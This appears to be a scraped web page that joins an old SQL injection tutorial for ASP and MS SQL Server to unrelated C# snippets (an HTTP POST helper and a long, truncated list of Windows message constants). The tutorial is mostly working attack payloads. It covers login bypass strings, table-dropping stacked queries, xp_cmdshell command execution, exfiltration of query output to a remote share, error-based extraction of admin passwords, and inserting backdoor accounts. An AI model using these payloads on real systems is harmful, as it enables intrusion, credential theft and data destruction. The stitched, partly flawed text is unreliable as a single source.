SQL Injection Tutorial (OldSchool)

What is SQL Injection?

SQL Injection the most popular method to pass SQL command deliberately from input filed in application. As a developer you should know how to prevent your application from SQL Injection. SQL Injection is one of the many web attack mechanisms used by hackers to steal data from organizations. It is perhaps one of the most common application layer attack techniques used today. It is the type of attack that takes advantage of improper coding of your web applications that allows hacker to inject SQL commands into say a login form to allow them to gain access to the data held within your database.

Which part of your application is in threat for SQL Injection?

SQL Injection is the hacking technique which attempts to pass SQL commands and SQL queries (statements) through a web application or desktop application for execution by the backend database. If not sanitized properly, web applications may result in SQL Injection attacks that allow hackers to view information from the database and/or even wipe it out.

Such features as login pages, support and product request forms, feedback forms, search pages, shopping carts and the general delivery of dynamic content, shape modern websites and provide businesses with the means necessary to communicate with prospects and customers. These website features are all examples of web applications which may be either purchased off-the-shelf or developed as bespoke programs. These website features are all susceptible to SQL Injection attacks which arise because the fields available for user input allow SQL statements to pass through and query the database directly.

Basic SQL Injection, power of 'T'='T'

Most login page is ask for User Name and Password from the user. User type the user name and password in the login form and submit for authenticate. System query the database with supplied user name and password if it found in the database it authenticate the user otherwise it show login fail message. When we submit the login page most login page will pass query to database like.

select * from user_master where user_name='" & TxtUserName.Text & "' and user_password ="" & TxtPassword.Text & "'"

If we type User Name as ANYUSER and Password as ANYPASS then actual query look like.

select * from user_master where user_name='ANYUSER' and user_password ='ANYPASS'

It will not work as there is no such user name and password in the table user_master. and it will show login fail message. Now just change your password and type ANYPASS' or 'T' = 'T and submit the page again. This time the query look like.

select * from user_master where user_name='ANYUSER' and user_password ='ANYPASS' or 'T' = 'T'

Now it works and you are able to login the page without knowing the user name and password. How it was happen. the query will always return all records from the database because 'T' = 'T' always True.

What are the SQL command you can pass

If the underlying database supports multiple command in single line, then you can pass any valid DML, DCL and DDL command through SQL injection. for example following command will drop user_master table from the database. For example type in password box ANYPASS' ; drop table user_master -- and submit the page again. this time underlying query looks like.

select * from user_master where user_name='ANYUSER' and user_password ='ANYPASS' ; drop table user_master -- '

Now it drop the user_master table from the database. In this case we pass drop table command along with password. -- two dash is comment for SQL no other code will be executed after that. If you know the table structure then you can Insert and update the record as well through SQL Injection.

SQL Injection by example

When a machine has only port 80 opened, your most trusted vulnerability scanner cannot return anything useful, and you know that the admin always patch his server, we have to turn to web hacking. SQL injection is one of type of web hacking that require nothing but port 80 and it might just work even if the admin is patch-happy. It attacks on the web application (like ASP, JSP, PHP, CGI, etc) itself rather than on the web server or services running in the OS.

This will help beginners with grasping the problems facing them while trying to utilize SQL Injection techniques, to successfully utilize them, and to protect themselves from such attacks.

This article does not introduce anything new, SQL injection has been widely written and used in the wild. We wrote the article because we would like to document some of our pen-test using SQL injection and hope that it may be of some use to others. You may find a trick or two but please check out the "11.0 Where can I get more info?" for people who truly deserve credit for developing many techniques in SQL injection.

What do you need for SQL Injection?

Any web browser.

Where to Start SQL Injection?

Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this in some HTML codes:

Everything between the and have potential parameters that might be useful (exploit wise).

1. What if you can't find any page that takes input?

You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially for URL that takes parameters, like: http://duck/index.asp?id=10

2. How do you test if it is vulnerable for SQL Injection?

Start with a single quote trick. Input something like: hi' or 1=1-- Into login, or password, or even in the URL. Example:

Login: hi' or 1=1--
Pass: hi' or 1=1--
http://duck/index.asp?id=hi' or 1=1--

If you must do this with a hidden field, just download the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly. Example:

<form action="http://duck/Search/search.asp" method="post">
    <input name="A" type="hidden" value="hi' or 1=1--" />
</form>

If luck is on your side, you will get login without any login name or password.

3. But why ' or 1=1-- is important in SQL Injection?

Let us look at another example why ' or 1=1-- is important. Other than bypassing login, it is also possible to view extra information that is not normally available. Take an asp page that will link you to another page with the following URL:http://duck/index.asp?category=food

In the URL, 'category' is the variable name, and 'food' is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise):

v_cat =request("category")
sqlstr=&amp;quot;SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:

SELECT * FROM product WHERE PCategory='food'

The query should return a resultset containing one or more rows that match the WHERE condition, in this case, 'food'. Now, assume that we change the URL into something like this:

http://duck/index.asp?category=food' or 1=1--

Now, our variable v_cat equals to "food' or 1=1-- ", if we substitute this in the SQL query, we will have:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

The query now should now select everything from the product table regardless if PCategory is equal to 'food' or not. A double dash "--" tell MS SQL server ignore the rest of the query, which will get rid of the last hanging single quote ('). Sometimes, it may be possible to replace double dash with single hash "#".

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try ' or 'a'='a The SQL query will now become:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

It should return the same result. Depending on the actual SQL query, you may have to try some of these possibilities:

' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

4. How do I get remote execution with SQL injection?

Being able to inject SQL command usually mean, we can execute any SQL query at will. Default installation of MS SQL Server is running as SYSTEM, which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution:

'; exec 
master..xp_cmdshell 'ping 10.10.1.2'--

Try using double quote (") if single quote (') is not working. The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you can listen to ICMP packet from 10.10.1.2, check if there is any packet from the server:

#tcpdump 
icmp

If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited Web User access to these stored procedures.

5 How to get output of my SQL query by SQL Injection?

It is possible to use sp_makewebtask to write your query into an HTML:

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

But the target IP must folder "share" sharing for Everyone.

6 How to get data from the database using ODBC error message by SQL Injection?

We can use information from error message produced by the MSSQL Server to get almost any data we want. Take the following page for example:

http://duck/index.asp?id=10

We will try to UNION the integer '10' with another string from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

The system table INFORMATION_SCHEMA.TABLES contains information of all tables in the server. The TABLE_NAME field obviously contains the name of each table in the database. It was chosen because we know it always exists. Our query:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

This should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int. The server will display the following error:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error 
converting the nvarchar value 'table1' to a column of data 
type int. 

/index.asp, line 5

The error message is nice enough to tell us the value that cannot be converted into an integer. In this case, we have obtained the first table name in the database, which is "table1". To get the next table name, we can use the following query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

We also can search for data using LIKE keyword:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. 

/index.asp, line 5

The matching patent, '%25login%25' will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, "admin_login".

7. How to mine all column names of a table by SQL Injection?

We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all columns name of a table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error 
converting the nvarchar value 'login_id' to a column of data 
type int. 
/index.asp, line 5

Now that we have the first column name, we can use NOT IN () to get the next column name:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. 
/index.asp, line 5

When we continue further, we obtained the rest of the column name, i.e. "password", "details". We know this when we get the following error message:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. 

/index.asp, line 5

8. How to retrieve any data we want?

Now that we have identified some important tables, and their column, we can use the same technique to gather any information we want from the database. Now, let's get the first login_name from the "admin_login" table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int. 

/index.asp, line 5

We now know there is an admin user with the login name of "neo". Finally, to get the password of "neo" from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error 
converting the nvarchar value 'm4trix' to a column of data 
type int. 

/index.asp, line 5

We can now login as "neo" with his password "m4trix".

9. How to get numeric string value?

There is limitation with the technique describe above. We cannot get any error message if we are trying to convert text that consists of valid number (character between 0-9 only). Let say we are trying to get password of "trinity" which is "31173":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

We will probably get a "Page Not Found" error. The reason being, the password "31173" will be converted into a number, before UNION with an integer (10 in this case). Since it is a valid UNION statement, SQL server will not throw ODBC error message, and thus, we will not be able to retrieve any numeric entry. To solve this problem, we can append the numeric string with some alphabets to make sure the conversion fail. Let us try this query instead:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

We simply use a plus sign (+) to append the password with any text we want. (ASSCII code for '+' = 0x2b). We will append '(space)morpheus' into the actual password. Therefore, even if we have a numeric string '31173', it will become '31173 morpheus'. By manually calling the convert() function, trying to convert '31173 morpheus' into an integer, SQL Server will throw out ODBC error message:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int. 

/index.asp, line 5

Now, you can even login as 'trinity' with the password '31173'.

10. How to update/insert data into the database by SQL Injection?

When we successfully gather all column name of a table, it is possible for us to UPDATE or even INSERT a new record in the table. For example, to change password for "neo":

http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

To INSERT a new record into the database:

http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5',&#39;NA')--

We can now login as "neo2" with the password of "newpas5".

HTTP Post with C-Sharp

This C# code snippet performs an HTTP Post and returns the response as a string.

using System.Net;

string HttpPost (string uri, string parameters)
{ 
   // parameters: name1=value1&name2=value2 
   WebRequest webRequest = WebRequest.Create (uri);
   
   // string ProxyString = 
   // System.Configuration.ConfigurationManager.AppSettings
   // [GetConfigKey("proxy")];
   // webRequest.Proxy = new WebProxy (ProxyString, true);
   // Commenting out above required change to App.Config
   
   webRequest.ContentType = "application/x-www-form-urlencoded";
   webRequest.Method = "POST";
   byte[] bytes = Encoding.ASCII.GetBytes (parameters);
   Stream os = null;
   try
   { // send the Post
      webRequest.ContentLength = bytes.Length;   //Count bytes to send
      os = webRequest.GetRequestStream();
      os.Write (bytes, 0, bytes.Length);         //Send it
   }
   catch (WebException ex)
   {
      MessageBox.Show ( ex.Message, "HttpPost: Request error", 
         MessageBoxButtons.OK, MessageBoxIcon.Error );
   }
   finally
   {
      if (os != null)
      {
         os.Close();
      }
   }
 
   try
   { // get the response
      WebResponse webResponse = webRequest.GetResponse();
      if (webResponse == null) 
         { return null; }
      StreamReader sr = new StreamReader (webResponse.GetResponseStream());
      return sr.ReadToEnd ().Trim ();
   }
   catch (WebException ex)
   {
      MessageBox.Show ( ex.Message, "HttpPost: Response error", 
         MessageBoxButtons.OK, MessageBoxIcon.Error );
   }
   return null;
} // end HttpPost

Sends the specified message to a window or windows.

It uses P/Invoke that allows you to access structs, callbacks, and functions in unmanaged libraries from your managed code.

SendMessage function

The SendMessage function calls the window procedure for the specified window and does not return until the window procedure has processed the message.

SendMessage (int hwnd, int wMsg, int wParam, int lParam);

Parameters

hWnd

Type: HWND

A handle to the window whose window procedure will receive the message. If this parameter is HWND_BROADCAST ((HWND)0xffff), the message is sent to all top-level windows in the system, including disabled or invisible unowned windows, overlapped windows, and pop-up windows; but the message is not sent to child windows.

Message sending is subject to UIPI. The thread of a process can send messages only to message queues of threads in processes of lesser or equal integrity level.

Msg

Type: UINT

The message to be sent. For lists of the system-provided messages, see System-Defined Messages.

wParam

Type: WPARAM

Additional message-specific information.

lParam

Type: LPARAM

Additional message-specific information.

Here is the implementation of it using C# with PInvoke

//Send Message API Class
//send Message Win32 Ap interop 
     
using System.Runtime.InteropServices; 

namespace KillerCodes.win32.API 
{ 

    public static class WIN32_API 
    { 

        [DllImport("user32.dll", EntryPoint="SendMessageW")] 
        private static extern int SendMessage (int hwnd, int wMsg, int wParam, int lParam); 

        [DllImport("user32.dll", EntryPoint = "SendMessageW")] 
        private static extern int SendMessageFL(int hwnd, int wMsg, int wParam, string lParam); 

        [DllImport("user32.dll", EntryPoint = "SendMessageW")] 
        private static extern int SendMessageSD(int hwnd, int wMsg, string wParam, int lParam); 

        public enum WM : int 
        { 
            WM_ACTIVATE = 0x6, 
            WM_ACTIVATEAPP = 0x1C, 
            WM_ADSPROP_NOTIFY_APPLY = (WM_USER + 1104), 
            WM_USER = 0x400, 
            WM_ADSPROP_NOTIFY_CHANGE = (WM_USER + 1103), 
            WM_ADSPROP_NOTIFY_EXIT = (WM_USER + 1107), 
            WM_ADSPROP_NOTIFY_FOREGROUND = (WM_USER + 1106), 
            WM_ADSPROP_NOTIFY_PAGEHWND = (WM_USER + 1102), 
            WM_ADSPROP_NOTIFY_PAGEINIT = (WM_USER + 1101), 
            WM_ADSPROP_NOTIFY_SETFOCUS = (WM_USER + 1105), 
            WM_ADSPROP_NOTIFY_SHOW_ERROR_DIALOG = (WM_USER + 1111), 
            WM_AFXFIRST = 0x360, 
            WM_AFXLAST = 0x37F, 
            WM_APP = 0x8000, 
            WM_APPCOMMAND = 0x319, 
            WM_ASKCBFORMATNAME = 0x30C, 
            WM_CANCELJOURNAL = 0x4B, 
            WM_CANCELMODE = 0x1F, 
            WM_CAP_ABORT = (WM_CAP_START+ 69), 
            WM_CAP_START = WM_USER, 
            WM_CAP_DLG_VIDEOCOMPRESSION = (WM_CAP_START+ 46), 
            WM_CAP_DLG_VIDEODISPLAY = (WM_CAP_START+ 43), 
            WM_CAP_DLG_VIDEOFORMAT = (WM_CAP_START+ 41), 
            WM_CAP_DLG_VIDEOSOURCE = (WM_CAP_START+ 42), 
            WM_CAP_DRIVER_CONNECT = (WM_CAP_START+ 10), 
            WM_CAP_DRIVER_DISCONNECT = (WM_CAP_START+ 11), 
            WM_CAP_DRIVER_GET_CAPS = (WM_CAP_START+ 14), 
            WM_CAP_DRIVER_GET_NAMEA = (WM_CAP_START+ 12), 
            WM_CAP_DRIVER_GET_NAMEW = (WM_CAP_UNICODE_START+ 12), 
            WM_CAP_UNICODE_START = WM_USER+100, 
            WM_CAP_DRIVER_GET_VERSIONA = (WM_CAP_START+ 13), 
            WM_CAP_DRIVER_GET_VERSIONW = (WM_CAP_UNICODE_START+ 13), 
            WM_CAP_EDIT_COPY = (WM_CAP_START+ 30), 
            WM_CAP_END = WM_CAP_UNICODE_END, 
            WM_CAP_UNICODE_END = WM_CAP_PAL_SAVEW, 
            WM_CAP_FILE_ALLOCATE = (WM_CAP_START+ 22), 
            WM_CAP_FILE_GET_CAPTURE_FILEA = (WM_CAP_START+ 21), 
            WM_CAP_FILE_GET_CAPTURE_FILEW = (WM_CAP_UNICODE_START+ 21), 
            WM_CAP_FILE_SAVEASA = (WM_CAP_START+ 23), 
            WM_CAP_FILE_SAVEASW = (WM_CAP_UNICODE_START+ 23), 
            WM_CAP_FILE_SAVEDIBA = (WM_CAP_START+ 25), 
            WM_CAP_FILE_SAVEDIBW = (WM_CAP_UNICODE_START+ 25), 
            WM_CAP_FILE_SET_CAPTURE_FILEA = (WM_CAP_START+ 20), 
            WM_CAP_FILE_SET_CAPTURE_FILEW = (WM_CAP_UNICODE_START+ 20), 
            WM_CAP_FILE_SET_INFOCHUNK = (WM_CAP_START+ 24), 
            WM_CAP_GET_AUDIOFORMAT = (WM_CAP_START+ 36), 
            WM_CAP_GET_CAPSTREAMPTR = (WM_CAP_START+ 1), 
            WM_CAP_GET_MCI_DEVICEA = (WM_CAP_START+ 67), 
            WM_CAP_GET_MCI_DEVICEW = (WM_CAP_UNICODE_START+ 67), 
            WM_CAP_GET_SEQUENCE_SETUP = (WM_CAP_START+ 65), 
            WM_CAP_GET_STATUS = (WM_CAP_START+ 54), 
            WM_CAP_GET_USER_DATA = (WM_CAP_START+ 8), 
            WM_CAP_GET_VIDEOFORMAT = (WM_CAP_START+ 44), 
            WM_CAP_GRAB_FRAME = (WM_CAP_START+ 60), 
            WM_CAP_GRAB_FRAME_NOSTOP = (WM_CAP_START+ 61), 
            WM_CAP_PAL_AUTOCREATE = (WM_CAP_START+ 83), 
            WM_CAP_PAL_MANUALCREATE = (WM_CAP_START+ 84), 
            WM_CAP_PAL_OPENA = (WM_CAP_START+ 80), 
            WM_CAP_PAL_OPENW = (WM_CAP_UNICODE_START+ 80), 
            WM_CAP_PAL_PASTE = (WM_CAP_START+ 82), 
            WM_CAP_PAL_SAVEA = (WM_CAP_START+ 81), 
            WM_CAP_PAL_SAVEW = (WM_CAP_UNICODE_START+ 81), 
            WM_CAP_SEQUENCE = (WM_CAP_START+ 62), 
            WM_CAP_SEQUENCE_NOFILE = (WM_CAP_START+ 63), 
            WM_CAP_SET_AUDIOFORMAT = (WM_CAP_START+ 35), 
            WM_CAP_SET_CALLBACK_CAPCONTROL = (WM_CAP_START+ 85), 
            WM_CAP_SET_CALLBACK_ERRORA = (WM_CAP_START+ 2), 
            WM_CAP_SET_CALLBACK_ERRORW = (WM_CAP_UNICODE_START+ 2), 
            WM_CAP_SET_CALLBACK_FRAME = (WM_CAP_START+ 5), 
            WM_CAP_SET_CALLBACK_STATUSA = (WM_CAP_START+ 3), 
            WM_CAP_SET_CALLBACK_STATUSW = (WM_CAP_UNICODE_START+ 3), 
            WM_CAP_SET_CALLBACK_VIDEOSTREAM = (WM_CAP_START+ 6), 
            WM_CAP_SET_CALLBACK_WAVESTREAM = (WM_CAP_START+ 7), 
            WM_CAP_SET_CALLBACK_YIELD = (WM_CAP_START+ 4), 
            WM_CAP_SET_MCI_DEVICEA = (WM_CAP_START+ 66), 
            WM_CAP_SET_MCI_DEVICEW = (WM_CAP_UNICODE_START+ 66), 
            WM_CAP_SET_OVERLAY = (WM_CAP_START+ 51), 
            WM_CAP_SET_PREVIEW = (WM_CAP_START+ 50), 
            WM_CAP_SET_PREVIEWRATE = (WM_CAP_START+ 52), 
            WM_CAP_SET_SCALE = (WM_CAP_START+ 53), 
            WM_CAP_SET_SCROLL = (WM_CAP_START+ 55), 
            WM_CAP_SET_SEQUENCE_SETUP = (WM_CAP_START+ 64), 
            WM_CAP_SET_USER_DATA = (WM_CAP_START+ 9), 
            WM_CAP_SET_VIDEOFORMAT = (WM_CAP_START+ 45), 
            WM_CAP_SINGLE_FRAME = (WM_CAP_START+ 72), 
            WM_CAP_SINGLE_FRAME_CLOSE = (WM_CAP_START+ 71), 
            WM_CAP_SINGLE_FRAME_OPEN = (WM_CAP_START+ 70), 
            WM_CAP_STOP = (WM_CAP_START+ 68), 
            WM_CAPTURECHANGED = 0x215, 
            WM_CHANGECBCHAIN = 0x30D, 
            WM_CHANGEUISTATE = 0x127, 
            WM_CHAR = 0x102, 
            WM_CHARTOITEM = 0x2F, 
            WM_CHOOSEFONT_GETLOGFONT = (WM_USER + 1), 
            WM_CHOOSEFONT_SETFLAGS = (WM_USER + 102), 
            WM_CHOOSEFONT_SETLOGFONT = (WM_USER + 101), 
            WM_CLEAR = 0x303, 
            WM_CLOSE = 0x10, 
            WM_COMMAND = 0x111, 
            WM_COMMNOTIFY = 0x44, 
            WM_COMPACTING = 0x41, 
            WM_COMPAREITEM = 0x39, 
            WM_CONTEXTMENU = 0x7B, 
            WM_CONVERTREQUEST = 0x10A, 
            WM_CONVERTREQUESTEX = 0x108, 
            WM_CONVERTRESULT = 0x10B, 
            WM_COPY = 0x301, 
            WM_COPYDATA = 0x4A, 
            WM_CPL_LAUNCH = (WM_USER+1000), 
            WM_CPL_LAUNCHED = (WM_USER+1001), 
            WM_CREATE = 0x1, 
            WM_CTLCOLOR = 0x19, 
            WM_CTLCOLORBTN = 0x135, 
            WM_CTLCOLORDLG = 0x136, 
            WM_CTLCOLOREDIT = 0x133, 
            WM_CTLCOLORLISTBOX = 0x134, 
            WM_CTLCOLORMSGBOX = 0x132, 
            WM_CTLCOLORSCROLLBAR = 0x137, 
            WM_CTLCOLORSTATIC = 0x138, 
            WM_CUT = 0x300, 
            WM_DDE_FIRST = 0x3E0, 
            WM_DDE_ACK = (WM_DDE_FIRST + 4), 
            WM_DDE_ADVISE = (WM_DDE_FIRST + 2), 
            WM_DDE_DATA = (WM_DDE_FIRST + 5), 
            WM_DDE_EXECUTE = (WM_DDE_FIRST + 8), 
            WM_DDE_INITIATE = (WM_DDE_FIRST), 
            WM_DDE_LAST = (WM_DDE_FIRST + 8), 
            WM_DDE_POKE = (WM_DDE_FIRST + 7), 
            WM_DDE_REQUEST = (WM_DDE_FIRST + 6), 
            WM_DDE_TERMINATE = (WM_DDE_FIRST + 1), 
            WM_DDE_UNADVISE = (WM_DDE_FIRST + 3), 
            WM_DEADCHAR = 0x103, 
            WM_DELETEITEM = 0x2D, 
            WM_DESTROY = 0x2, 
            WM_DESTROYCLIPBOARD = 0x307, 
            WM_DEVICECHANGE = 0x219, 
            WM_DEVMODECHANGE = 0x1B, 
            WM_DISPLAYCHANGE = 0x7E, 
            WM_DRAWCLIPBOARD = 0x308, 
            WM_DRAWITEM = 0x2B, 
            WM_DROPFILES = 0x233, 
            WM_ENABLE = 0xA, 
            WM_ENDSESSION = 0x16, 
            WM_ENTERIDLE = 0x121, 
            WM_ENTERMENULOOP = 0x211, 
            WM_ENTERSIZEMOVE = 0x231, 
            WM_ERASEBKGND = 0x14, 
            WM_EXITMENULOOP = 0x212, 
            WM_EXITSIZEMOVE = 0x232, 
            WM_FONTCHANGE = 0x1D, 
            WM_FORWARDMSG = 0x37F, 
            WM_GETDLGCODE = 0x87, 
            WM_GETFONT = 0x31, 
            WM_GETHOTKEY = 0x33, 
            WM_GETICON = 0x7F, 
            WM_GETMINMAXINFO = 0x24, 
            WM_GETOBJECT = 0x3D, 
            WM_GETTEXT = 0xD, 
            WM_GETTEXTLENGTH = 0xE, 
            WM_HANDHELDFIRST = 0x358, 
            WM_HANDHELDLAST = 0x35F, 
            WM_HELP = 0x53, 
            WM_HOTKEY = 0x312, 
            WM_HSCROLL = 0x114, 
            WM_HSCROLLCLIPBOARD = 0x30E, 
            WM_ICONERASEBKGND = 0x27, 
            WM_IME_CHAR = 0x286, 
            WM_IME_COMPOSITION = 0x10F, 
            WM_IME_COMPOSITIONFULL = 0x284, 
            WM_IME_CONTROL = 0x283, 
            WM_IME_ENDCOMPOSITION = 0x10E, 
            WM_IME_KEYDOWN = 0x290, 
            WM_IME_KEYLAST = 0x10F, 
            WM_IME_KEYUP = 0x291, 
            WM_IME_NOTIFY = 0x282, 
            WM_IME_REPORT = 0x280, 
            WM_IME_REQUEST = 0x288, 
            WM_IME_SELECT = 0x285, 
            WM_IME_SETCONTEXT = 0x281, 
            WM_IME_STARTCOMPOSITION = 0x10D, 
            WM_IMEKEYDOWN = 0x290, 
            WM_IMEKEYUP = 0x291, 
            WM_INITDIALOG = 0x110, 
            WM_INITMENU = 0x116, 
            WM_INITMENUPOPUP = 0x117, 
            WM_INPUTLANGCHANGE = 0x51, 
            WM_INPUTLANGCHANGEREQUEST = 0x50, 
            WM_INTERIM = 0x10C, 
            WM_KEYDOWN = 0x100, 
            WM_KEYFIRST = 0x100, 
            WM_KEYLAST = 0x108, 
            WM_KEYUP = 0x101, 
            WM_KILLFOCUS = 0x8, 
            WM_LBUTTONDBLCLK = 0x203, 
            WM_LBUTTONDOWN = 0x201, 
            WM_LBUTTONUP = 0x202, 
            WM_MBUTTONDBLCLK = 0x209, 
            WM_MBUTTONDOWN = 0x207, 
            WM_MBUTTONUP = 0x208, 
            WM_MDIACTIVATE = 0x222, 
            WM_MDICASCADE = 0x227, 
            WM_MDICREATE = 0x220, 
            WM_MDIDESTROY = 0x221, 
            WM_MDIGETACTIVE = 0x229, 
            WM_MDIICONARRANGE = 0x228, 
            WM_MDIMAXIMIZE = 0x225, 
            WM_MDINEXT = 0x224, 
            WM_MDIREFRESHMENU = 0x234, 
            WM_MDIRESTORE = 0x223, 
            WM_MDISETMENU = 0x230, 
            WM_MDITILE = 0x226, 
            WM_MEASUREITEM = 0x2C, 
            WM_MENUCHAR = 0x120, 
            WM_MENUCOMMAND = 0x126, 
            WM_MENUDRAG = 0x123, 
            WM_MENUGETOBJECT = 0x124, 
            WM_MENURBUTTONUP = 0x122, 
            WM_MENUSELECT = 0x11F, 
            WM_MOUSEACTIVATE = 0x21, 
            WM_MOUSEFIRST = 0x200, 
            WM_MOUSEHOVER = 0x2A1, 
            WM_MOUSELAST = 0x209, 
            WM_MOUSELEAVE = 0x2A3, 
            WM_MOUSEMOVE = 0x200, 
            WM_MOUSEWHEEL = 0x20A, 
            WM_MOVE = 0x3, 
            WM_MOVING = 0x216, 
            WM_NCACTIVATE = 0x86, 
            WM_NCCALCSIZE = 0x83, 
            WM_NCCREATE = 0x81, 
            WM_NCDESTROY = 0x82, 
            WM_NCHITTEST = 0x84, 
            WM_NCLBUTTONDBLCLK = 0xA3, 
            WM_NCLBUTTONDOWN = 0xA1, 
            WM_NCLBUTTONUP = 0xA2, 
            WM_NCMBUTTONDBLCLK = 0xA9, 
            WM_NCMBUTTONDOWN = 0xA7, 
            WM_NCMBUTTONUP = 0xA8, 
            WM_NCMOUSEHOVER = 0x2A0, 
            WM_NCMOUSELEAVE = 0x2A2, 
            WM_NCMOUSEMOVE = 0xA0, 
            WM_NCPAINT = 0x85, 
            WM_NCRBUTTONDBLCLK = 0xA6, 
            WM_NCRBUTTONDOWN = 0xA4, 
            WM_NCRBUTTONUP = 0xA5, 
            WM_NCXBUTTONDOWN = 0xAB, 
            WM_NCXBUTTONUP = 0xAC, 
            WM_NEXTDLGCTL = 0x28, 
            WM_NEXTMENU = 0x213, 
            WM_NOTIFY = 0x4E, 
            WM_NOTIFYFORMAT = 0x55, 
            WM_NULL = 0x0, 
            WM_OTHERWINDOWCREATED = 0x42, 
            WM_OTHERWINDOWDESTROYED = 0x43, 
            WM_PAINT = 0xF, 
            WM_PAINTCLIPBOARD = 0x309, 
            WM_PAINTICON = 0x26, 
            WM_PALETTECHANGED = 0x311, 
            WM_PALETTEISCHANGING = 0x310, 
            WM_PARENTNOTIFY = 0x210, 
            WM_PASTE = 0x302, 
            WM_PENWINFIRST = 0x380, 
            WM_PENWINLAST = 0x38F, 
            WM_POWER = 0x48, 
            WM_POWERBROADCAST = 0x218, 
            WM_PRINT = 0x317, 
            WM_PRINTCLIENT = 0x318, 
            WM_PSD_ENVSTAMPRECT = (WM_USER + 5), 
            WM_PSD_FULLPAGERECT = (WM_USER + 1), 
            WM_PSD_GREEKTEXTRECT = (WM_USER + 4), 
            WM_PSD_MARGINRECT = (WM_USER + 3), 
            WM_PSD_MINMARGINRECT = (WM_USER + 2), 
            WM_PSD_PAGESETUPDLG = (WM_USER), 
            WM_PSD_YAFULLPAGERECT = (WM_USER + 6), 
            WM_QUERYDRAGICON = 0x37, 
            WM_QUERYENDSESSION = 0x11, 
            WM_QUERYNEWPALETTE = 0x30F, 
            WM_QUERYOPEN = 0x13, 
            WM_QUERYUISTATE = 0x129, 
            WM_QUEUESYNC = 0x23, 
            WM_QUIT = 0x12, 
            WM_RASDIALEVENT = 0xCCCD, 
            WM_RBUTTONDBLCLK = 0x206, 
            WM_RBUTTONDOWN = 0x204, 
            WM_RBUTTONUP = 0x205, 
            WM_RENDERALLFORMATS = 0x306, 
            WM_RENDERFORMAT = 0x305, 
            WM_SETCURSOR = 0x20, 
            WM_SETFOCUS = 0x7, 
            WM_SETFONT = 0x30, 
            WM_SETHOTKEY = 0x32, 
            WM_SETICON = 0x80, 
            WM_SETREDRAW = 0xB, 
            WM_SETTEXT = 0xC, 
            WM_SETTINGCHANGE = WM_WININICHANGE, 
            WM_SHOWWINDOW = 0x18, 
            WM_SIZE = 0x5, 
